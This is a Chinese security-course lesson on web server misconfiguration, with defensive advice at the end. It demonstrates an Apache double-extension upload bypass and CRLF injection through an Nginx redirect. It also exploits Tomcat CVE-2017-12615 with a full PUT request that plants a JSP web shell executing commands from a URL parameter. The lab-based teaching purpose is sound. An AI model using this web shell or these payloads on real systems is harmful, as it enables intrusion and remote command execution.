|
|
# 28|安全配置错误:安全问题不只是代码安全
|
|
|
|
|
|
你好,我是王昊天。
|
|
|
|
|
|
不知道你是否看见过下面这张图片?它是我们在使用Django编写后端程序时,经常会看到的报错页面。在这个报错页面中,我们可以看到这个Web应用的所有路径,这对于Web应用来说是极其危险的。
|
|
|
|
|
|
![图片](https://static001.geekbang.org/resource/image/29/03/2944a63eaa107628f0f44b38db517c03.png?wh=1920x1082)
|
|
|
|
|
|
从页面最下方的提示信息中,我们可以知道,这是由于我们在Django的配置文件中,没有将DEBUG改为False导致的。所以**这就是一个由于配置错误导致的Web应用安全问题**。
|
|
|
|
|
|
其实,在Web应用中,安全配置问题还是很普遍的,这节课就让我们一起来深入学习下吧!
|
|
|
|
|
|
## 安全配置错误
|
|
|
|
|
|
在Web应用中,由于安全配置错误导致的安全问题屡见不鲜,这里我选取了Web应用中典型的一些安全配置问题来讲解,它们分别为Apache配置安全问题、Nginx配置安全问题以及Tomcat配置安全问题,下面我们逐一看下。
|
|
|
|
|
|
![图片](https://static001.geekbang.org/resource/image/b9/b0/b94ffbc2248005978049649a54c961b0.jpg?wh=1738x644)
|
|
|
|
|
|
### Apache配置安全问题
|
|
|
|
|
|
Apache是世界使用排名第一的Web服务器软件。它的兼容性很好,可以在Linux系统以及Windows系统中运行。Web应用开发者可以用它来运行开发的Web服务。
|
|
|
|
|
|
我们可以将它简单理解为,当在一台机器上配置好Apache服务器,可利用它响应HTML页面的访问请求。
|
|
|
|
|
|
Apache软件有一个配置文件,它通常为httpd.conf,我们在启动自己的Web应用前,首先需要对它进行配置的修改。
|
|
|
|
|
|
![图片](https://static001.geekbang.org/resource/image/5f/f9/5f17fc1e53320a81f5c791312b7e25f9.png?wh=773x434)
|
|
|
|
|
|
如果我们希望,Apache在遇到扩展名为PHP的页面文件时,将它用x-httpd-php来解析,那么我们就可以在配置文件中添加代码 `AddHandler application/x-httpd-php .php`。之后,重启Apache服务,配置就能生效。
|
|
|
|
|
|
![图片](https://static001.geekbang.org/resource/image/5a/ed/5a03f5d89e053d1ac2373ab68d9006ed.png?wh=931x312)
|
|
|
|
|
|
而这个配置会导致一定的安全隐患,接下来让我们借助一个示例,看看它会带来什么安全隐患吧。
|
|
|
|
|
|
在此之前,我们需要学习一下Apache的基本特性。
|
|
|
|
|
|
![图片](https://static001.geekbang.org/resource/image/66/46/663689407ff9dec170d6baf07354b046.jpg?wh=1594x406)
|
|
|
|
|
|
**Apache是从前往后开始识别文件扩展名的**,例如遇到文件test.php.xyz.jpg时,它会将PHP识别为文件的扩展名,从而根据之前的配置,选择用x-httpd-php来对它进行解析。
|
|
|
|
|
|
这样,我们就做好了所有的前期准备工作。下面,我们一起来看这个安全隐患。
|
|
|
|
|
|
![图片](https://static001.geekbang.org/resource/image/7a/d5/7a6881dd2366f32af090f96b0fd8e3d5.png?wh=1920x1232)
|
|
|
|
|
|
这是一个文件上传靶场,由于我们将它的安全等级设为高,所以**它可以成功拦截所有PHP后缀的文件**,这样做可以防止攻击者上传PHP恶意文件,从而保护Web应用的安全。
|
|
|
|
|
|
但是我们可以将恶意PHP文件名设置为test.php.xyz.jpg,这样就能绕过文件上传检测,成功将这个文件上传到images文件中。
|
|
|
|
|
|
其中这个test.php.xyz.jpg的内容为:
|
|
|
|
|
|
```php
|
|
|
<?php phpinfo();?>
|
|
|
|
|
|
```
|
|
|
|
|
|
之后,我们尝试对其进行访问,发现Apache服务器无法解析这一文件。所以这个Web应用目前是安全的,攻击者无法通过上传文件test.php.xyz.jpg去执行恶意的PHP代码。
|
|
|
|
|
|
![图片](https://static001.geekbang.org/resource/image/9f/84/9f07860c3f70769f865f1a629d298084.png?wh=1898x1398)
|
|
|
|
|
|
如果我们在Apache的配置文件apache2.conf中加入这一项 `AddHandler application/x-httpd-php .php`。然后重启Apache2服务。
|
|
|
|
|
|
![图片](https://static001.geekbang.org/resource/image/c6/fa/c682f6d6f5442c6909afeb174f6d62fa.png?wh=1366x602)
|
|
|
|
|
|
那么我们再次访问上传的文件,获得到的响应内容就变为如下:
|
|
|
|
|
|
![图片](https://static001.geekbang.org/resource/image/e4/1f/e4bec58f746485b1fb08360c2a31251f.png?wh=1920x1203)
|
|
|
|
|
|
这里可以看到,**我们上传的恶意PHP代码已经被执行**。这个Web应用不再安全。
|
|
|
|
|
|
在这个示例中,原本的Web应用是安全的,它成功拦截了以.php结尾的文件的上传,并且不允许用x-httpd-php来解析结尾不是.php的文件,这是无懈可击的,攻击者根本无法让这个Web应用去执行恶意PHP脚本。
|
|
|
|
|
|
可是,如果Web应用开发者,在配置文件中进行错误的配置,例如这里加上AddHandler application/x-httpd-php .php,就会使得Web应用可以用x-httpd-php来解析PHP类型的文件,就算它的结尾不是.php。这给了攻击者可乘之机,让Web应用处于危险之中。
|
|
|
|
|
|
到这里,你已经学完了Apache中的安全配置问题,这会让你对安全配置问题有更具体的理解。其实在Nginx中也会有安全配置问题,接下来我们就一起看看。
|
|
|
|
|
|
### Nginx配置安全问题
|
|
|
|
|
|
Nginx是一个高性能的HTTP和反向代理Web服务器,我们可以在Unix以及Linux中运行它。它的应用非常广泛,我们熟知的百度、京东、新浪、网易以及腾讯都有使用到这款软件。
|
|
|
|
|
|
![图片](https://static001.geekbang.org/resource/image/fa/3c/fa42450c7da6b1887fe482fd346c6e3c.jpg?wh=600x433)
|
|
|
|
|
|
在使用这款软件时,我们必须正确的对它进行配置,否则容易导致一些安全问题。
|
|
|
|
|
|
例如,当Nginx配置不当,就会导致CRLF注入的发生。所谓CRLF其实就是两个字符,CR与LF,它们分别代表回车以及换行。事实上,在HTTP报文中,行与行之间使用的就是CRLF间隔。
|
|
|
|
|
|
接下来,为了帮助你更好地理解Nginx配置的安全问题,让我们一起来看一个示例吧。
|
|
|
|
|
|
下方代码是一个Nginx配置文件,你可能对它不太熟悉,不过不要着急,我会给你分析配置中的安全问题。
|
|
|
|
|
|
```plain
|
|
|
server {
|
|
|
listen 8080;
|
|
|
root /usr/share/nginx/html;
|
|
|
index index.html;
|
|
|
server_name _;
|
|
|
location / {
|
|
|
return 302 https://$host$uri;
|
|
|
}
|
|
|
}
|
|
|
|
|
|
```
|
|
|
|
|
|
在这个Nginx配置文件中,存在问题的配置在最后一行,我们只需要关注这一部分即可。
|
|
|
|
|
|
```plain
|
|
|
return 302 https://$host$uri;
|
|
|
|
|
|
```
|
|
|
|
|
|
这行代码,可以使得原本对主机的HTTP的请求,跳转到HTTPS请求上。我们可以将其中的 `$host`,简单理解为原始请求中的host信息,而 `$uri` 则是安全问题产生的关键,它代表着请求中解码后的请求路径。你可能觉得这里并没有什么问题,**可如果攻击者将请求的URL信息设置为如下:**
|
|
|
|
|
|
```plain
|
|
|
http://ip:port/%0a%0dSet-Cookie:%20a=test
|
|
|
|
|
|
```
|
|
|
|
|
|
这个URL中,%0a经过解码之后就是CR,%0d经过解码之后则为LF,%20解码之后对应为空格。所以Nginx在对$uri进行解码时,会将%0a%0d解码为CRLF,这会使得HTTP报文换行,然后发起Set-Cookie的请求,**这就是CRLF注入的效果**。
|
|
|
|
|
|
下面,我们一起看上述内容的实例。注意,这里靶场中的Nginx配置和上面图片中一致。
|
|
|
|
|
|
![图片](https://static001.geekbang.org/resource/image/3d/7f/3d231f6ebf2968f195e395f3dc5a097f.png?wh=1918x1206)
|
|
|
|
|
|
我们首先访问了127.0.0.1:8080服务,发现Nginx成功让页面跳转到HTTPS服务,并且页面中也没有cookie信息。其中这里页面显示无法访问此网站,这是因为靶场仅用来演示Nginx配置问题,并没有实际页面支撑,所以导致没有页面内容返回,但它对我们的测试不会造成影响。
|
|
|
|
|
|
![图片](https://static001.geekbang.org/resource/image/77/c3/77c15b32d03e1a536ba91da01a1cc6c3.png?wh=1812x1192)
|
|
|
|
|
|
接着,我们对这个Web应用发起攻击,对127.0.0.1:8080/%0a%0dSet-Cookie:%20a=test进行访问,结果发现页面同样跳转为HTTPS服务,不过此时多出了响应Cookie信息。**这表明我们的CRLF注入成功,并且成功执行了Set-Cookie指令。**
|
|
|
|
|
|
现在,你已经了解了Nginx配置相关的安全问题,知道了它其实就是由CRLF注入导致的。接下来,让我们继续学习Tomcat中的安全配置问题吧。
|
|
|
|
|
|
### Tomcat配置安全问题
|
|
|
|
|
|
首先,我们来了解下Tomcat是什么?
|
|
|
|
|
|
Tomcat 服务器是一个免费的开放源代码的Web应用服务器,属于轻量级应用服务器,在中小型系统和并发访问用户不是很多的场合下被普遍使用。实际上,Tomcat是Apache服务器的扩展,但运行时它是独立运行的,所以当你运行Tomcat时,它实际上是作为一个与Apache独立的进程单独运行。
|
|
|
|
|
|
在对它有了一定的了解之后,我们来对Tomcat做一些安全性分析。Tomcat中存在一个知名的安全配置问题,它就是CVE-2017-12615。具体的问题体现为,当Tomcat运行在Windows主机上,并且在conf/web.xml的配置文件中将DefaultServlet readonly设置为false,那么如果它启用了HTTP PUT请求方法,就会**导致任意写文件的安全问题发生**。
|
|
|
|
|
|
接下来,让我们通过实战,加深一下对Tomcat配置安全问题的理解吧。
|
|
|
|
|
|
首先,登录谜团(mituan.zone)并选择【Tomcat专题:CVE-2017-12615】靶机,如果你可以看到如下页面,那就成功打开了我们的靶场。
|
|
|
|
|
|
![图片](https://static001.geekbang.org/resource/image/49/68/49a74009cf0a8162c0210990862df768.png?wh=1878x1313)
|
|
|
|
|
|
其次,我们要测试一下是否可以上传文件到服务器目录下。具体的实践方式为,使用BurpSuite拦截该网页,获取到如下报文:
|
|
|
|
|
|
```plain
|
|
|
GET / HTTP/1.1
|
|
|
Host: 45e308724beb41f1943f19e8652afb2e.app.mituan.zone:8080
|
|
|
Cache-Control: max-age=0
|
|
|
Upgrade-Insecure-Requests: 1
|
|
|
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
|
|
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
|
|
|
Accept-Encoding: gzip, deflate
|
|
|
Accept-Language: zh-CN,zh;q=0.9
|
|
|
Connection: close
|
|
|
|
|
|
```
|
|
|
|
|
|
然后我们将它进行修改为如下报文,并进行发送。
|
|
|
|
|
|
```plain
|
|
|
PUT /1.jsp/ / HTTP/1.1
|
|
|
Host: 45e308724beb41f1943f19e8652afb2e.app.mituan.zone:8080
|
|
|
Cache-Control: max-age=0
|
|
|
Upgrade-Insecure-Requests: 1
|
|
|
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
|
|
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
|
|
|
Accept-Encoding: gzip, deflate
|
|
|
Accept-Language: zh-CN,zh;q=0.9
|
|
|
Connection: close
|
|
|
|
|
|
<%
|
|
|
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
|
|
|
int a = -1;
|
|
|
byte[] b = new byte[2048];
|
|
|
out.print("<pre>");
|
|
|
while((a=in.read(b)) != -1){
|
|
|
out.println(new String(b));
|
|
|
}
|
|
|
out.print("</pre>");
|
|
|
%>
|
|
|
|
|
|
```
|
|
|
|
|
|
修改后的报文,可以向Tomcat服务器尝试写入1.jsp文件。其中1.jsp文件的内容为报文下方<% %>内的部分。**这部分的功能就是获取get方式上传的参数i,并将它当作命令去执行。**
|
|
|
|
|
|
接下来,我们去测试尝试的攻击行为是否成功。访问路径 `/1.jsp?i= ls -l`,其中 `1.jsp` 就是我们刚刚写入的文件,而 `?i=ls -l`,这是通过get方式上传参数i,并将它的值设为 `ls -l`。
|
|
|
|
|
|
![图片](https://static001.geekbang.org/resource/image/eb/4a/ebe40e1e3eb2a7a904ebed1b82bf3c4a.png?wh=1463x812)
|
|
|
|
|
|
我们发现页面的响应为一些文件信息,**这代表我们的 `ls -l` 命令运行成功,也代表这个Tomcat服务器存在安全配置问题。**
|
|
|
|
|
|
到这里,我们已经知道安全配置错误的危害还是较为严重的,所以我们在设计一个Web应用时,要注意对安全配置错误的避免。接下来让我们进入到安全实践中,总结一下如何避免安全配置错误。
|
|
|
|
|
|
## 安全实践
|
|
|
|
|
|
为了避免安全配置错误的发生,我们在配置Web应用时需要遵守几个原则。
|
|
|
|
|
|
第一个原则为**最小服务原则**,我们需要将Web应用不需要的服务进行关闭或限制,防止攻击者通过这些服务发起恶意行为。
|
|
|
|
|
|
第二个原则为**通用化的报错设置**,即我们需要将Web应用的报错信息设置得通用化,使得报错信息中不包含错误发生的细节信息,防止因此导致的敏感信息泄露。
|
|
|
|
|
|
第三个原则为**修改默认账户信息**,我们需要将Web应用默认的账户信息进行修改,尽量让账户密码变得复杂,否则攻击者很容易就会猜出账户信息,登陆进Web应用的管理后台。
|
|
|
|
|
|
## 总结
|
|
|
|
|
|
在这节课程中,我们学习了安全配置错误。
|
|
|
|
|
|
首先,我们通过Django示例,来了解什么是安全配置错误。接着我们更加深入的对典型的Web应用安全配置问题进行了逐一的学习。
|
|
|
|
|
|
我们第一个学习的是Apache相关的安全配置问题。在对这一部分的学习中,我们通过上传一个扩展名复杂的文件,绕过了Web应用对于上传文件类型的检测过滤。然后再利用Apache配置不当的问题,使得这一文件被x-httpd-php解析成功。这样就使得攻击者可以实现任意PHP代码执行。
|
|
|
|
|
|
接下来,我们学习了Nginx相关的安全配置问题。在对它的学习中,我们了解到Nginx是一个高性能的HTTP和反向代理Web服务器。如果对于它的配置方式不当,就会使得CRLF注入的发生。然后我们通过示例,知道了攻击者可以通过CRLF注入进而实现对HTTP请求指令的设置。
|
|
|
|
|
|
接着,我们学习了Tomcat相关的安全配置问题,了解到如果对它的配置不当,就会产生任意写入文件问题。在实战部分中,我们还利用这个问题成功实现了任意命令执行操作。
|
|
|
|
|
|
最后,我们学习了如何抵御安全配置错误,了解到主要可以通过最小服务原则、通用化报错设置以及修改默认账户来提升我们Web应用的安全性。
|
|
|
|
|
|
## 思考题
|
|
|
|
|
|
除了这节课中提到的安全配置错误,你还能想到其他Web应用相关的安全配置错误吗?
|
|
|
|
|
|
欢迎在评论区留下你的思考。如果觉得今天的内容对你有所帮助的话,也欢迎你把课程分享给其他同事或朋友,我们共同学习进步!
|
|
|
|